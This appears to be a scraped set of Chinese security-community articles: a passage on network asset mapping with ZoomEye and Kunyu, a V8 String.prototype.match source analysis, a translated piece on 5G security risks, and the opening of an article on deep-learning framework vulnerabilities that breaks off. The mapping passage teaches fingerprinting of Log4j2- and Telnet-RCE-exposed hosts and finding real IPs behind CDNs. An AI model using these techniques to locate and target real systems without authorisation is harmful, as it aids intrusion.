等字段值进行关联资产，值得注意的是在SSL证书信息中，往往有着一些惊喜，例如可以查找CDN后的真实IP，或者在拿到了某个IP后证明其归属，识别其DNS服务器、相关域名等等。
**举个场景案例，例如我们在挖掘SRC找到了一个边缘资产并且仅有一个IP，这时如何证明其资产的归属，就不妨可以在证书信息中找找看，往往Subject字段中就有域名的相关线索。**
或像常见的SSL证书匹配方式将证书序列号进行HEX编码，通过搜索引擎的相关语法( **cert/ssl** )进行匹配的方式均可以。
而这里的行为，更多时候体现在banner信息，例如前端代码，服务连接交互信息、SSL证书信息等等。
这里以Log4j2 RCE影响的 _Apache_ _CAS_ 主机举例。
通过比对不同 _Apache_ CAS站点，寻找共同的特征，提取’<body id=”cas”>‘ 这段代码。
发现共匹配到了16155条结果，除去CAS关键词的特征，通过尝试攻击Log4j2也可以进行验证，但是仅通过一段代码，仍然可能存在误报的概率，于是我们继续寻找共同特征，也就是框架的特征。
在上面提取的代码段的基础上继续提取特征，做且运算逻辑，最终构造的Apache CAS指纹为：
'<body id="cas">'+'<section class="row">' +'<meta charset="UTF-8"/>'
也就是说其前端代码中应符合同时存在上述三段代码才能进行匹配，发现这次共匹配到了6248条，数量的减少，随着我们指纹关联的条件增多，精准度也会提高，使我们得到的结果更加趋近于真实。关于指纹概念会在下面进行详细的讲解，利用截取代码段或者其注释的方式，在关联目标使用的相同框架的站点时有着很好的效果。
除了一些基本特征，我们还可以通过一些 **“有趣”** 的指纹来进行检索
如上图，相信大家懂得都懂，在我们查找CDN后的真实IP时，可以通过nmap扫描目标的ssh-hostkey并提取进行匹配，因为无论套多少层CDN，他连接ssh时的ssh-hostkey都不会改变，所以我们可以通过这个指纹检索就有可能找到其真实的IP地址，当然这样的思路仅做抛砖引玉。
网站上的favicon图标也可以作为目标组织的行为之一，在HW或者关联菠菜站点时往往有着意想不到的效果，但是需要注意的是，针对利用favicon计算hash关联团伙的方式，可能存在着一定的不准确性，如果说证书、前端提取代码这些方式可以让我们很准确的定位到目标，那么在全网中有人拿别人的favicon图标作为自己网站的图标，公网扫描时就有可能出现误报，扫出的ico图标hash是相同的。不过，无聊用别人图标的总归是少数，也并不常见，仅仅是有这种可能罢了，所以大家需要注意，追溯线索有时并没有定式，并不是通过什么方法就一定准确无误，依旧是需要证实举证的。
## 动态测绘
**对于动态测绘的概念，简单理解就是数据订阅**
，这里可以通过指纹语句订阅或者IP订阅，周期性对某个资产面进行扫描，从而使我们能够动态掌握周期内新增资产的情况，而动态测绘往往应用于企业安全管理或者反诈工作中。在企业安全中，通过动态测绘发现新上线的业务系统，并及时加入安全管理中。因为对于一些较为成熟的业务系统来讲，不会频繁对站点对外服务进行更改，一般只会修改发布内容等，所以当其站点上线新的服务时都是值得注意的。
往往攻防双方对弈比拼的就是信息收集，谁收集的资产面多就有着决定性的作用，一些 **孤立、边缘化**
的资产企业上线后没有及时加入安全防护而被攻击者发现，就面临着沦陷的可能，同样红队在攻击时，在技术水平相差不大的时候，往往收集的资产就是决定是否攻破目标的关键。
应用于反诈工作中，可以通过动态测绘持续对目标团伙的相关资产进行关注，做线索。往往面对使用相同框架，仅改变网站内容进行快速转移服务器的目标可以进行紧紧追踪。通过动态测绘观测到的每日新增资产，进行判断该团伙下一步准备实施犯罪的主要站点及其意图。
值得一提的是，ZoomEye上线了一个很具有意义的功能，就是在公网测绘中，支持了数据更新功能，使我们可以随时更新需要扫描的目标。需要注意所有空间测绘平台本质都是通过探测节点全天候对全网资产进行扫描行为，而扫描是有一定的时间周期，数据更新功能则不需要像以往被动等待探测节点扫描到我们的目标。
当扫描结束后，会发送一封邮件到我们的邮箱，并且更新的数据在kunyu中可以快速同步。
## 交叉测绘
那就是 **IPv4 与 IPv6的 “交叉”**
。随着国家对IPv6的改造规定必然加快IPv6的普及，就当前局势，IPV6在逐渐普及，但是之所以在交叉测绘这里提及IPV6，就是因为，与我们密切相关的安全层面，往往出现在IPV4及IPV6的
**配置错误**
上，例如企业在部署安全措施时，对其IPV4打满了防护，但是IPV6却是白板，那么这时如果攻击者通过IPV6进行攻击，那么无疑是一马平川的，这也是很多企业在进行安全管理中没有想到的问题。往往就会导致出现大问题，所以站在攻击者的角度来看待，我认为不妨可以交叉看待问题。域名与IPV4、IPV4及IPV6的、暗网与IPv4。。。。无论是溯源还是攻击本着交叉思想看待数据，挖掘隐蔽线索都是十分重要的。
而这些结果我们发现其具有共同特征为，Nginx服务器、均为302跳转，时间相近，均为HTTPS协议等，这也是其目标团伙在此所表现的特征，也能间接印证我们关联的资产没错。准与不准的问题，往往就是体现于此，就好比如果两张照片里的人没有丝毫相像，不具有相同点，那么大概率他们是没有关系的。
## 网络测绘指纹的概念
在网络测绘中，指纹的概念是比较有趣的，与传统刑事侦查技术其广义思想是重叠的，例如我们做人物画像，针对某个人的外貌体态进行描述，例如我们已知目标是大眼睛、高鼻梁、身材消瘦、身高180cm…..这些是目标的外在特征，但是针对这样的特征是具有一定的模糊性的，因为站在整个世界的角度来看，同样符合这些特征的人依旧比比皆是，但是这些依旧是我们侦察目标的特点，所以继而我们要引入一些更加
**“精准”** 、 **“特异”** 、 **“不可更改”** 的特征，可以直接决定性的指向某个人或团伙的资产范围。那么什么是可以决定性指向的特征呢？
**身份证、银行卡、手机号、DNA信息、瞳孔识别** 等等，既要精准的区分目标资产又要具有特异性，不可以被轻易修改的特点。
* 认知
* 特征
* 指纹
对于指纹概念，提出了以上三点，首先应该从认知出发，这里所说的认知也就是研判人员在分析时认为哪些特征是有用的，不同的人看待问题的方式、角度均是不同的，所以从认知出发看待事件本质，找出其符合我们所理解的
**“精准”** 、 **“特异”** 、 **“不可更改”**
要素，进行组合，从而构建指纹。当然这里的特征通常并不会只有一个，哪怕是传统刑侦，面对目标手指纹也需要多个指纹进行比对，同样放在网络资产测绘中，我们需要尽可能多的去找某个组织所具有的共同特征进行组合，只符合单个特征并不足以说明问题，往往针对我们之前收集的情报符合多个特征，那么就具有可疑性了。
往往在溯源的过程中，情报并不是使用什么产品或者技术能够直接获得的，而是通过多个维度获得的线索相互印证、推导而来的，所以在整个溯源体系中，我认为研判人员对于技术的认知是至关重要的。这也是我开头讲到的从认知出发，寻找目标特征，构建指纹从而高效研判这样的一个过程。
举例在exploit-db找到了一个Telnet未授权RCE的POC。
根据箭头所指，提取了一处特征，指纹特征为：goke
login:，进行匹配可以看到结果为423条，通过protocol和Service，Port这些字段所表现出来的特征都极为相似，准与不准往往体现于此。
继续增加一个条件，要求目标端口为23，发现匹配出的条数为422条，发现条数减少了，说明在刚才第一次匹配中，有一些结果的端口并不是23端口，应该是被认为修改过的。这也说明随着条件的增加匹配的精准度也是随之提高，根据研判人员对于指纹概念的认知不同，构建指纹指向目标的精准度和关联程度都不尽相同。
当然，在能够关联匹配到目标的指纹以外，我们还可以增加其他的符合我们要求的条件，例如我们可以限制输出结果扫描到的时间、地域国家、城市等等。
**指纹是建立在研判人员对于规则概念的理解之上的！**
**Kunyu Donwload:** [Kunyu（坤舆）更高效的企业资产收集](https://github.com/knownsec/Kunyu/)
## 后记
**我们应赋予数据以灵魂，而不仅仅只是认识数据，能用它做什么事儿，达到什么效果，取决于解决方案的认知高低**
感谢大家的支持，现在已经2022年了，回想第一次出门闯荡的场景至今还历历在目，今年我也已经20岁了，渐渐的年纪已经不是我的优势。回想这一路走来还是挺感慨的，对于野路子出身，那时的我能够坚持下来大概就是有着一股不服输的劲头吧。虽然现在也不是什么大佬，但是每天都比昨天进步一点，每年都比去年更上一层对于我而讲算是最大的慰籍了，让我时刻明白，自己仍是在这条路上向前走着。
新的一年，希望所想之事皆能如愿，所做之事皆有所获。
**最后祝大家心想事成，美梦成真，想要交流安全技术的可以扫描以下二维码添加微信。**
## Community
## 参考链接
<https://github.com/knownsec/Kunyu>
<https://mp.weixin.qq.com/s/fQatA5iyewqRBMWtpVjsRA>
<https://mp.weixin.qq.com/s/QTyfHbcnoMYoVUXhcbCYCw> | 社区文章 |
# 《Chrome V8 源码》37. String.prototype.match 源码分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 介绍
字符串是 JavaScript
中的重要数据类型，其重要性不仅体现在字符串是应用最多最广泛的数据类型，更体现在V8中使用了大量的技术手段来修饰和优化字符串的操作。接下来的几篇文章将集中讲解字符串的相关操作。本文先讲解
String.prototype.match 的源码以及相关数据结构，再通过测试用例演示 String.prototype.match
的调用、加载和执行过程。
**注意** （1）Sea of Nodes 是本文的先导知识，请参考 Cliff 1993年发表的论文 From Quads to
Graphs。（2）本文所用环境为：V8 7.9、win10 x64、VS2019。
## 2 String.prototype.match 源码
测试用例代码如下：
var str="1 plus 2 equal 3";
str.match(/\d+/g);
match() 采用 TF_BUILTIN 实现，concet() 在 V8 中的函数名是 StringPrototypeMatch，编号是
591，源码如下：
1. TF_BUILTIN(StringPrototypeMatch, StringMatchSearchAssembler) {
2. TNode<Object> receiver = CAST(Parameter(Descriptor::kReceiver));
3. TNode<Object> maybe_regexp = CAST(Parameter(Descriptor::kRegexp));
4. TNode<Context> context = CAST(Parameter(Descriptor::kContext));
5. Generate(kMatch, "String.prototype.match", receiver, maybe_regexp, context);}
6. //分隔...............
7. void Generate(Variant variant, const char* method_name,TNode<Object> receiver, TNode<Object> maybe_regexp, TNode<Context> context) {
8. Label call_regexp_match_search(this);
9. Builtins::Name builtin;
10. Handle<Symbol> symbol;
11. DescriptorIndexNameValue property_to_check;
12. if (variant == kMatch) {
13. builtin = Builtins::kRegExpMatchFast;
14. symbol = isolate()->factory()->match_symbol();
15. property_to_check = DescriptorIndexNameValue{
16. JSRegExp::kSymbolMatchFunctionDescriptorIndex,
17. RootIndex::kmatch_symbol, Context::REGEXP_MATCH_FUNCTION_INDEX};
18. } else {//省略....................
19. }
20. RequireObjectCoercible(context, receiver, method_name);//省略................
21. { RegExpBuiltinsAssembler regexp_asm(state());
22. TNode<String> receiver_string = ToString_Inline(context, receiver);
23. TNode<NativeContext> native_context = LoadNativeContext(context);
24. TNode<HeapObject> regexp_function = CAST(
25. LoadContextElement(native_context, Context::REGEXP_FUNCTION_INDEX));
26. TNode<Map> initial_map = CAST(LoadObjectField(
27. regexp_function, JSFunction::kPrototypeOrInitialMapOffset));
28. TNode<Object> regexp = regexp_asm.RegExpCreate(
29. context, initial_map, maybe_regexp, EmptyStringConstant());
30. Label fast_path(this), slow_path(this);
31. regexp_asm.BranchIfFastRegExp(context, CAST(regexp), initial_map,
32. PrototypeCheckAssembler::kCheckPrototypePropertyConstness,
33. property_to_check, &fast_path, &slow_path);
34. BIND(&fast_path);
35. Return(CallBuiltin(builtin, context, regexp, receiver_string));
36. BIND(&slow_path);
37. {
38. TNode<Object> maybe_func = GetProperty(context, regexp, symbol);
39. Callable call_callable = CodeFactory::Call(isolate());
40. Return(CallJS(call_callable, context, maybe_func, regexp,
41. receiver_string));
42. } } }
上述代码中，第 1-5 行是 match() 的入口函数；Generate()（第 7 行代码）用于实现 match 功能，参数 variant 的值只能是
Match 或 Search，这说明了 Search 也由 Generate() 实现。参数 receiver 是字符串（测试用例中的
str），maybe_regexp 是正则字符串（测试用例中的 /\d+/g）；
第 13-17 行代码准备 Builtins::kRegExpMatchFast、symbol 和 property_to_check 三个参数，其中
kRegExpMatchFast 和 symbol 在快速正则时会被用到；
第 22 行代码把 receiver 转换成字符串并存储到 receiver_string 中；
第 23-28 行代码使用字符串（/\d+/g）创建正则表达式 regexp；
第 31 行代码判断是否满足快速正则匹配的使用条件，如果满足则执行第 35 行代码，否则执行第 36-40 行代码；
第 35 行代码执行快速正则匹配； **提示：** 使用 Builtin 实现的正则叫做快速正则匹配；
第 36-40 行代码执行慢速正则匹配。
下面说明 Generate() 中的重要函数：
**（1）** Builtins::kRegExpMatchFast 用于实现快速正则匹配，源码如下：
1. TF_BUILTIN(RegExpMatchFast, CodeStubAssembler) {
2. compiler::CodeAssemblerState* state_ = state(); compiler::CodeAssembler ca_(state());
3. TNode<Context> parameter0 = UncheckedCast<Context>(Parameter(Descriptor::kContext));
4. USE(parameter0);
5. compiler::TNode<JSRegExp> parameter1 = UncheckedCast<JSRegExp>(Parameter(Descriptor::kReceiver));
6. USE(parameter1);
7. compiler::TNode<String> parameter2 = UncheckedCast<String>(Parameter(Descriptor::kString));
8. USE(parameter2);
9. compiler::CodeAssemblerParameterizedLabel<Context, JSRegExp, String> block0(&ca_, compiler::CodeAssemblerLabel::kNonDeferred);
10. ca_.Goto(&block0, parameter0, parameter1, parameter2);
11. if (block0.is_used()) {
12. compiler::TNode<Context> tmp0;
13. compiler::TNode<JSRegExp> tmp1;
14. compiler::TNode<String> tmp2;
15. ca_.Bind(&block0, &tmp0, &tmp1, &tmp2);
16. ca_.SetSourcePosition("../../../src/builtins/regexp-match.tq", 27);
17. compiler::TNode<Object> tmp3;
18. USE(tmp3);
19. tmp3 = FastRegExpPrototypeMatchBody_322(state_, compiler::TNode<Context>{tmp0}, compiler::TNode<JSRegExp>{tmp1}, compiler::TNode<String>{tmp2});
20. CodeStubAssembler(state_).Return(tmp3);
21. }
22. }
上述代码中，第 3-8 行定义上下文（parameter0）、正则（parameter1）以及字符串 （parameter2）三个参数；
第 10-14 行代码 Goto 用于跳转到 block0。其中 tmp1 表示 parameter1，tmp2 表示 parameter2;
第 19 行代码 FastRegExpPrototypeMatchBody_322() 是入口函数，在该函数中调用
RegExpBuiltinsAssembler::RegExpPrototypeMatchBody 完成正则匹配，后续文章单独讲解。
**（2）** BranchIfFastRegExp 判断是否符合满足快速正则条件，源码如下：
1. void RegExpBuiltinsAssembler::BranchIfFastRegExp(/*省略...*/) {
2. CSA_ASSERT(this, TaggedEqual(LoadMap(object), map));
3. GotoIfForceSlowPath(if_ismodified);
4. TNode<NativeContext> native_context = LoadNativeContext(context);
5. GotoIf(IsRegExpSpeciesProtectorCellInvalid(native_context), if_ismodified);
6. TNode<JSFunction> regexp_fun =
7. CAST(LoadContextElement(native_context, Context::REGEXP_FUNCTION_INDEX));
8. TNode<Map> initial_map = CAST(
9. LoadObjectField(regexp_fun, JSFunction::kPrototypeOrInitialMapOffset));
10. TNode<BoolT> has_initialmap = TaggedEqual(map, initial_map);
11. GotoIfNot(has_initialmap, if_ismodified);
12. TNode<Object> last_index = FastLoadLastIndexBeforeSmiCheck(CAST(object));
13. GotoIfNot(TaggedIsPositiveSmi(last_index), if_ismodified);
14. // Verify the prototype.
15. TNode<Map> initial_proto_initial_map = CAST(
16. LoadContextElement(native_context, Context::REGEXP_PROTOTYPE_MAP_INDEX));
17. DescriptorIndexNameValue properties_to_check[2];
18. int property_count = 0;
19. properties_to_check[property_count++] = DescriptorIndexNameValue{
20. JSRegExp::kExecFunctionDescriptorIndex, RootIndex::kexec_string,
21. Context::REGEXP_EXEC_FUNCTION_INDEX};
22. if (additional_property_to_check) {
23. properties_to_check[property_count++] = *additional_property_to_check;
24. }
25. PrototypeCheckAssembler prototype_check_assembler(
26. state(), prototype_check_flags, native_context, initial_proto_initial_map,
27. Vector<DescriptorIndexNameValue>(properties_to_check, property_count));
28. TNode<HeapObject> prototype = LoadMapPrototype(map);
29. prototype_check_assembler.CheckAndBranch(prototype, if_isunmodified,
30. if_ismodified);
31. }
上述代码中 if_ismodified 代表慢速正则；第 3 行代码 GotoIfForceSlowPath 根据
V8_ENABLE_FORCE_SLOW_PATH 判断是否使用慢速正则；
第 2 行代码检测正则表达式对象map的tag标记；
第 10-11 行代码判断正则表式对象的 tag 与 native_context中的 regexp_fun的 tag 是否相等；
第 15-29 行代码检测 prototype 属性，并根据检测结果决定是否使用快速正则。
**（3）** MaybeCallFunctionAtSymbol 方法源码如下：
1. void StringBuiltinsAssembler::MaybeCallFunctionAtSymbol(
2. Node* const context, Node* const object, Node* const maybe_string,
3. Handle<Symbol> symbol,
4. DescriptorIndexNameValue additional_property_to_check,
5. const NodeFunction0& regexp_call, const NodeFunction1& generic_call) {
6. Label out(this);
7. // Smis definitely don't have an attached symbol.
8. GotoIf(TaggedIsSmi(object), &out);
9. {
10. Label stub_call(this), slow_lookup(this);
11. GotoIf(TaggedIsSmi(maybe_string), &slow_lookup);
12. GotoIfNot(IsString(maybe_string), &slow_lookup);
13. RegExpBuiltinsAssembler regexp_asm(state());
14. regexp_asm.BranchIfFastRegExp(
15. CAST(context), CAST(object), LoadMap(object),
16. PrototypeCheckAssembler::kCheckPrototypePropertyConstness,
17. additional_property_to_check, &stub_call, &slow_lookup);
18. BIND(&stub_call);
19. .
20. regexp_call();
21. BIND(&slow_lookup);
22. }
23. GotoIf(IsNullOrUndefined(object), &out);
24. TNode<Object> const maybe_func = GetProperty(context, object, symbol);
25. GotoIf(IsUndefined(maybe_func), &out);
26. GotoIf(IsNull(maybe_func), &out);
27. // Attempt to call the function.
28. generic_call(maybe_func);
29. BIND(&out);
30. }
上述代码中第 11-12 行判断正则表达式是否为 SMI 或 String，判断结果为真则执行慢速正则；
第 14 行代码 BranchIfFastRegExp 判断原型链属性是否满足快速正则条件；
第 23、25、26 行代码分别判断字符串是否为空、正则表达式是否未定义或为空。
图 1 给出了 Generate 的函数调用堆栈。
## 3 String.prototype.match 测试
测试用例的字节码如下：
1. //省略.............
2. 0000038004E42A8E @ 16 : 12 01 LdaConstant [1]
3. 0000038004E42A90 @ 18 : 15 02 04 StaGlobal [2], [4]
4. 0000038004E42A93 @ 21 : 13 02 00 LdaGlobal [2], [0]
5. 0000038004E42A96 @ 24 : 26 f9 Star r2
6. 0000038004E42A98 @ 26 : 29 f9 03 LdaNamedPropertyNoFeedback r2, [3]
7. 0000038004E42A9B @ 29 : 26 fa Star r1
8. 0000038004E42A9D @ 31 : 79 04 06 01 CreateRegExpLiteral [4], [6], #1
9. 0000038004E42AA1 @ 35 : 26 f8 Star r3
10. 0000038004E42AA3 @ 37 : 5f fa f9 02 CallNoFeedback r1, r2-r3
11. 0000038004E42AA7 @ 41 : 15 05 07 StaGlobal [5], [7]
12. 0000038004E42AAA @ 44 : 13 06 09 LdaGlobal [6], [9]
13. 0000038004E42AAD @ 47 : 26 f9 Star r2
14. 0000038004E42AAF @ 49 : 29 f9 07 LdaNamedPropertyNoFeedback r2, [7]
15. 0000038004E42AB2 @ 52 : 26 fa Star r1
16. 0000038004E42AB4 @ 54 : 13 05 02 LdaGlobal [5], [2]
17. 0000038004E42AB7 @ 57 : 26 f8 Star r3
18. 0000038004E42AB9 @ 59 : 5f fa f9 02 CallNoFeedback r1, r2-r3
19. 0000038004E42ABD @ 63 : 26 fb Star r0
20. 0000038004E42ABF @ 65 : ab Return
21. Constant pool (size = 8)
22. 0000038004E429F9: [FixedArray] in OldSpace
23. - map: 0x01afd2dc0169 <Map>
24. - length: 8
25. 0: 0x038004e42999 <FixedArray[8]>
26. 1: 0x038004e428c1 <String[#16]: 1 plus 2 equal 3>
27. 2: 0x038004e428a9 <String[#3]: str>
28. 3: 0x022bdecab4b9 <String[#5]: match>
29. 4: 0x038004e428f9 <String[#3]: \d+>
30. 5: 0x038004e428e1 <String[#3]: res>
31. 6: 0x022bdecb3699 <String[#7]: console>
32. 7: 0x022bdecb2cd9 <String[#3]: log>
33. Handler Table (size = 0)
上述代码中，第 2-5 行代码加载 “1 plus 2 equal 3” 到 r2 寄存器；
第 6 行代码获取字符串方法 match，并存储到 r1 寄存器；
第 8 行代码为字符串 \d+ 创建正表达式对象，并存储到 r3 寄存器；
第 10 行代码 CallNoFeedback 调用 match方法（r1 寄存器），并传递 r2、r3 两个参数给 match 方法。
图 2 给出了字节码 CallNoFeedback 的入口，从此处开始跟踪可以看到正则表达的匹配过程。
**技术总结**
**（1）** 快速正则是采用 Builtins::kRegExpMatchFast 实现的快速匹配；
**（2）** 使用快速正则的判断条件包括：字符串类型是否正确、正则表达式的类型、V8_ENABLE_FORCE_SLOW_PATH 等。
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 邮箱：[v8blink@outlook.com](mailto:v8blink@outlook.com)** | 社区文章 |
# 5G网络面临的机遇与挑战
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://blogs.mcafee.com/mcafee-labs/5g-networks-pose-cyber-risks-opportunities/>
译文仅供参考，具体内容表达以及含义原文为准。
**5G网络所适用得技术拥有大规模改变个人与企业未来的潜力。它是一项变革性的技术，可提供足够大的带宽让 500亿智能设备使用
。5G面临的机会和风险都高到难以想象。它提高了速度，连接，响应能力和可扩展性，从城市、房屋、车辆、到人身体的数据，它所传递的传感器和设备上的数据会经历前所未有的增长
。这一切会为人们的生产和娱乐带来便利，同时也放大了安全和隐私问题。**
和4G
LTE移动网络相比，即将推出的5G网络无形中增加了数据传输速度到30倍甚至到100倍，并缩短了响应延迟，在未来数十年预计增加数十亿设备的连接。汽车、智能服装、健康传感器、家电、无人驾驶飞机、路牌、灯柱、工业设备，几乎每一个领域的项目都可以连接并共享数据。
这种改变也将影响到个人层面。可穿戴式装置、嵌入式传感器、智能车辆、家庭自动化、个性化医疗保健、环境检测设备和娱乐设备将连接社区。设备将更加可靠地共享信息，共同提高我们的便利、效率、安全、卫生，并作用于人际关系。但是，这种强大的工具，也可能被恶意利用。
5G网络和设备必须提升安全和隐私方面的能力。
随着设备变得更加智能，我们相信他们能够完成物理世界中所分配的任务，所以人们必须放弃一定量的控制。在大多数情况下，这能提高生产率和安全性。对我来说，智能汽车的泊车功能比我自己操作要安全得多
。它可以按照我的要求停车，测量空间并快速安全地进入停车位，这对于我这样的驾驶水平不高的人来说真是福音。但要获得这样的便利，我必须明白，设计智能车来感知周围环境，加速，制动和转向的能力只适用于低速，比如停车的情况。但如果恶意攻击者控制了在高速公路上行驶的车，后果就不堪设想了。所以，技术只是一种工具。5G会为我们带来一个更美好的世界，但我们也不能忽略其中的风险和安全隐患。
** 5G网络面临的风险**
随着物联网（IOT）的兴起，安全和隐私是5G的最大风险。连接入网的智能设备可能会变成攻击者的工具而成为安全隐患。
电厂、水处理工厂和化工的工业控制系统（ICS）早已成熟 。随着时间的推移，这些系统逐渐连接到互联网，在我们看来5G的到来并不会给这些领域带来太多危险 。
ICS运营商已经认识到风险，实现他们已经抵御攻击了多年。他们故意不曝光系统的升级信息。但理论上，ICS中的智能设备可能被攻击，但更可能的目标是复杂的控制系统，如服务器和PC。
由于5G已经开始建设，预计到2018至2020年，消费电子设备将面临最大的风险。我们预测，交通运输、医疗保健和工业无人机将最受安全领域的关注。
**下面是一些例子：**
**汽车/智能车**
下一代汽车和公共交通可以使用5G网络与其他车辆以及道路传感器进行通信，这样能避免碰撞，缩短行车时间，提高燃油利用率。但是，恶意攻击者的控制下，这些车辆可能反而会造成严重的交通瘫痪。
**卫生保健**
健康监视器可以增强体能，警告即将发生的疾病，协助医生和研究人员检测一些慢性疾病，并改善治疗手段。但是，这样的便利也可能会被滥用。个人隐私可能被泄露，篡改医疗数据的后果也很严重。
**无人机**
无人机正在越来越多的领域派上用场。他们在地势险要的地区投递药品，协助检测和森林火灾的扑救，探索危险的环境，开展危险地带的军事行动，给艺术家提供更多表现的视角，未来还可能成为快递服务的主力。但是，无人机也可以用作恐怖武器，制造更多危险，并用于毒品走私等。而且，我们已经有很多无人机侵犯隐私的案例了。
** 保护5G设备**
用户、设备、软件、网络和后端基础设施都必须发挥作用来提高5G设备的安全性。连接的可扩展性允许不同设备进行通信并产生巨大数目的数据。设备、应用程序和数据必须构成保护链。
新兴的物联网设备也带来了新的挑战，因为他们不像个人电脑、服务器和智能手机那样完善。大多数设备缺乏存储和速度来运行功能丰富复杂的安全解决方案。为了加以弥补，硬件、网络、应用验证区域和后端基础设施更需要被加强。
**建立信任从现在开始**
技术领导者之间要合作定义健壮的网络标准，为嵌入控件提供更强的安全性和保密性。如果安全问题不积极解决，5G对物联网设备的价值和对客户的吸引力可能会受到巨大损害。
信任机制是非常重要的。安全机制必须被设计成5G标准基础的一部分，尤其是考虑到物联网。在隐私方面，监督用户并提供匿名选择必须包含在产品和软件设计中。这可能意味着了系统应具备的安全性、管理和控制水平都需要提升。随着消费者越来越依赖技术，如自动运输和医疗管理等方面，必须提升安全水平以降低风险。抓住对安全的需求是企业保持竞争力的关键，也是为客户提供服务的供应商的重要驱动力。
** 技术领导者如何发挥作用？**
科技创新的必须全面支持5G技术的安全性和私密性。
开发架构和平台为5G连接设备和后端基础设施加入安全措施，来应对来自这些设备的大量的数据。
各个行业要合作以建立强大的框架，并实现强大的安全性和隐私原则技术标准。英特尔的汽车团队就是一个很好的例子。
提供一流的安全软件解决方案，保护迅速发展的设备和应用应对各种威胁。软件需要具有最大的灵活性，来面对连接各种设备的风险和威胁。这些解决方案将被定制为小型的或固定功能的模块，对可管理的基础设施提供监督，设备将在系统组件约束的环境中运行。
5G即将到来，巨大的技术进革新使得更多更小的设备连接到我们的电子生态系统。这种变化会带来更多机遇和风险。为了获取利益，并最大限度地降低风险，技术先锋和安全专业人员必须协同工作，现在为5G打好基础以便后续实现网络和个人隐私的安全。 | 社区文章 |
# 【技术分享】深度学习框架中的魔鬼——探究人工智能系统中的安全问题
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者： 肖奇学, 李康 @[360 Team Seri0us
团队](http://bobao.360.cn/member/contribute?uid=2967649585)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
ISC 2017中国互联网安全大会举办了人工智能安全论坛。 我们把论坛总结成为一系列文章，本文为系列中的第一篇。
深度学习引领着新一轮的人工智能浪潮，受到工业界以及全社会的广泛关注。 虽然大家对人工智能有很多美好的憧憬，但是现实是残酷的 ——
随着一批深度学习应用逐渐开始变成现实，安全问题也渐渐显现出来。
人工智能应用面临来自多个方面的威胁：包括深度学习框架中的软件实现漏洞、对抗机器学习的恶意样本生成、训练数据的污染等等。
这些威胁可能导致人工智能所驱动的识别系统出现混乱，形成漏判或者误判，甚至导致系统崩溃或被劫持，并可以使智能设备变成僵尸攻击工具。
在推进人工智能应用的同时，我们迫切需要关注并解决这些安全问题。本文作为人工智能与安全的系列文章之一，首先介绍我们在深度学习框架中发现的安全问题。
**1\. 人工智能讨论中的安全盲点**
****
目前公众对人工智能的关注，尤其是深度学习方面， 缺少对安全的考虑。我们把这个现象称为人工智能的安全盲点。 导致这个盲点的主要原因是由于算法与实现的距离。
近期对于深度学习的讨论主要停留在算法和前景展望的层面，对应用场景和程序输入有很多假设。受到关注的应用往往假定处于善意的或封闭的场景。例如高准确率的语音识别中的输入都是自然采集而成，图片识别中的输入也都来自正常拍摄的照片。这些讨论没有考虑人为恶意构造或合成的场景。
人工智能讨论中的安全盲点可以通过最典型的手写数字识别案例来说明。基于MNIST数据集的手写数字识别应用是深度学习的一个非常典型的例子，
最新的深度学习教程几乎都采用这个应用作为实例演示。在这些教程中（如下图所示）算法层的讨论所考虑的分类结果只关心特定类别的近似度和置信概率区间。算法层的讨论没有考虑输入会导致程序崩溃甚至被攻击者劫持控制流。这其中被忽略掉的输出结果反映出算法和实现上考虑问题的差距，也就是目前人工智能讨论中的安全盲点。
图1. 深度学习算法与安全所考虑的不同输出场景
现实中的开放应用需要处理的输入不仅来源于正常用户，也可以是来自黑产等恶意用户。
人工智能的应用必须考虑到应用所面临的现实威胁。程序设计人员需要考虑输入数据是否可控，监测程序是否正常执行，并验证程序执行结果是否真实反映应用的本来目的。
**2\. 深度学习系统的实现及依赖复杂度**
****
深度学习软件很多是实现在深度学习框架上。目前基于深度学习系统框架非常多，主流的包括TensorFlow、Torch，以及Caffe 等。
深度学习框架的使用可以让应用开发人员无需关心神经元网络分层以及培训分类的实现细节，更多关注应用本身的业务逻辑。
开发人员可以在框架上直接构建自己的神经元网络模型，并利用框架提供的接口对模型进行训练。这些框架简化了深度学习应用的设计和开发难度，一个深度学习的模型可以用几十行代码就可以写出来。
图2. 深度学习框架以及框架组件依赖
深度学习框架掩盖了它所使用的组件依赖，同时也隐藏了系统的复杂程度。
每种深度学习框架又都是实现在众多基础库和组件之上，很多深度学习框架里还包括图像处理、矩阵计算、数据处理、GPU加速等功能。
图2展示了典型的深度学习应用组件和它们的依赖关系。例如Caffe除了自身神经元网络模块实现以外，还包括137个第三方动态库，例如libprotobuf,
libopencv, libz 等。 谷歌的TensorFlow 框架也包含对多达97个python模块的依赖，包括librosa,numpy 等。
系统越复杂，就越有可能包含安全隐患。任何在深度学习框架以及它所依赖的组件中的安全问题都会威胁到框架之上的应用系统。另外模块往往来自不同的开发者，对模块间的接口经常有不同的理解。当这种不一致导致安全问题时，模块开发者甚至会认为是其它模块调用不符合规范而不是自己的问题。在我们的发现的导致深度学习框架崩溃的漏洞中就遇到过这种情况。
**3\. 魔鬼隐藏于细节之中**
正如安全人员常说的， 魔鬼隐藏于细节之中 （The Devil is In the Detail）。任何一个大型软件系统都会有实现漏洞。
考虑到深度学习框架的复杂性， 深度学习应用也不例外。
360 Team Seri0us
团队在一个月的时间里面发现了数十个深度学习框架及其依赖库中的软件漏洞。发现的漏洞包括了几乎所有常见的类型，例如内存访问越界，空指针引用，整数溢出，除零异常等。
这些漏洞潜在带来的危害可以导致对深度学习应用的拒绝服务攻击，控制流劫持，分类逃逸，以及潜在的数据污染攻击。
以下我们通过两个简单的例子来介绍深度学习框架中的漏洞以及对应用的影响。两个例子都来源于框架的依赖库，一个是TensorFlow框架所依赖的numpy包，另一个是Caffe在处理图像识别所使用的libjasper库。
**案例1： 对基于TensorFlow的语音识别应用进行拒绝服务攻击**
案例中的 numpy 是TensorFlow所依赖的一个负责科学计算的python库。TensorFlow的很多应用在进行矩阵运算的时候都会用的它。
我们在这个库里发现一个简单逻辑漏洞（CVE-2017-12852）。 这个问题的简单情况如下图所示，它是发生在numpy中的pad函数。
